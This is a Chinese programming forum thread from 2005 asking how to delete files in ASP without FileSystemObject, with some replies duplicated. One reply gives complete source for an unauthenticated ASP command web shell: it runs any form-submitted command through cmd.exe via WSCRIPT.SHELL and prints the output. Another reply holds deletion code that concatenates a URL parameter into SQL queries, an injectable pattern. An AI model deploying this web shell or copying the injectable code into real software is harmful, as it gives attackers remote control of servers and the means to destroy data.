28,406
社区成员
发帖
与我相关
我的任务
分享请发表友善的回复…
发表回复
sungcong 2005-04-18
- 打赏
- 举报
能力有限，不用FSO暂想不到还有别的方法
hcz0663 2005-04-11
- 打赏
- 举报
好像不行吧，要FSO支持的
underone 2005-04-11
- 打赏
- 举报
好像adostream可以
lovebanyi 2005-04-11
- 打赏
- 举报
有好多组件的..asp由于是用脚本写的..没有提供语言级的支持啊
笨笨兔兔兔兔兔 2005-04-08
- 打赏
- 举报
用法，sorry，写错了
笨笨兔兔兔兔兔 2005-04-08
- 打赏
- 举报
我只说明wscript的用发，把fso都去了吧，用dos命令就可以了，我懒得改那个程序了
look4sword 2005-04-08
- 打赏
- 举报
还是用了FSO
笨笨兔兔兔兔兔 2005-04-08
- 打赏
- 举报
<% Dim oScript %>
<% Dim oScriptNet%>
<% Dim oFileSys, oFile%>
<% Dim szCMD, szTempFile%>
<% Set oScript = Server.CreateObject("WSCRIPT.SHELL")%>
<% Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")%>
<% Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")%>
<% szCMD = Request.Form(".CMD")%>
<% If (szCMD <> "") Then%>
<% szTempFile = "C:\" & oFileSys.GetTempName()%>
<% Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)%>
<% Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)%>
<% End If %>
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"></FORM><PRE>
<% If (IsObject(oFile)) Then%>
<% On Error Resume Next%>
<% Response.Write Server.HTMLEncode(oFile.ReadAll)%>
<% oFile.Close%>
<% Call oFileSys.DeleteFile(szTempFile, True)%>
<% End If%>
<% Dim oScriptNet%>
<% Dim oFileSys, oFile%>
<% Dim szCMD, szTempFile%>
<% Set oScript = Server.CreateObject("WSCRIPT.SHELL")%>
<% Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")%>
<% Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")%>
<% szCMD = Request.Form(".CMD")%>
<% If (szCMD <> "") Then%>
<% szTempFile = "C:\" & oFileSys.GetTempName()%>
<% Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)%>
<% Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)%>
<% End If %>
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"></FORM><PRE>
<% If (IsObject(oFile)) Then%>
<% On Error Resume Next%>
<% Response.Write Server.HTMLEncode(oFile.ReadAll)%>
<% oFile.Close%>
<% Call oFileSys.DeleteFile(szTempFile, True)%>
<% End If%>
ladyling 2005-04-08
- 打赏
- 举报
连数据库的目录一起删除
<!--#include virtual="/include/conn.asp"-->
<%
dim id
id = request.QueryString("id")
set rs = server.CreateObject("adodb.recordset")
sql = "select * from upload where id ='"&id&"'"
rs.open sql,conn,3,1
dim filename
filename = trim(rs("filename"))
Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.GetFile("E:\UpLoad\UploadFiles\"&filename)
MyFile.Delete
sql = "delete from upload where id = '"&id&"'"
conn.execute(sql)
rs.close
set rs = nothing
set conn = nothing
set MyFile = nothing
set fso = nothing
%>
<font color="#000066" size="-1">指定文件已删除，请关闭该页</font>
这样是有无组件？
<!--#include virtual="/include/conn.asp"-->
<%
dim id
id = request.QueryString("id")
set rs = server.CreateObject("adodb.recordset")
sql = "select * from upload where id ='"&id&"'"
rs.open sql,conn,3,1
dim filename
filename = trim(rs("filename"))
Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.GetFile("E:\UpLoad\UploadFiles\"&filename)
MyFile.Delete
sql = "delete from upload where id = '"&id&"'"
conn.execute(sql)
rs.close
set rs = nothing
set conn = nothing
set MyFile = nothing
set fso = nothing
%>
<font color="#000066" size="-1">指定文件已删除，请关闭该页</font>
这样是有无组件？
笨笨兔兔兔兔兔 2005-04-08
- 打赏
- 举报
当你做梦的时候会删除的*^_^*
玩笑一下，关键是你要想明白其中的道理就可以了
无组件是不可能的，wscript.shell 用cmd里的del你可以试验一下，不过一般也会被禁止的
玩笑一下，关键是你要想明白其中的道理就可以了
无组件是不可能的，wscript.shell 用cmd里的del你可以试验一下，不过一般也会被禁止的
笨笨兔兔兔兔兔 2005-04-08
- 打赏
- 举报
当做梦的时候会删除的
kkkbs 2005-04-08
- 打赏
- 举报
Shell.Application文件浏览操作
sdliubo 2005-04-08
- 打赏
- 举报
无组件删除文件可能是不行
一般adostream组件不会关闭 那个也可以操作文件
一般adostream组件不会关闭 那个也可以操作文件
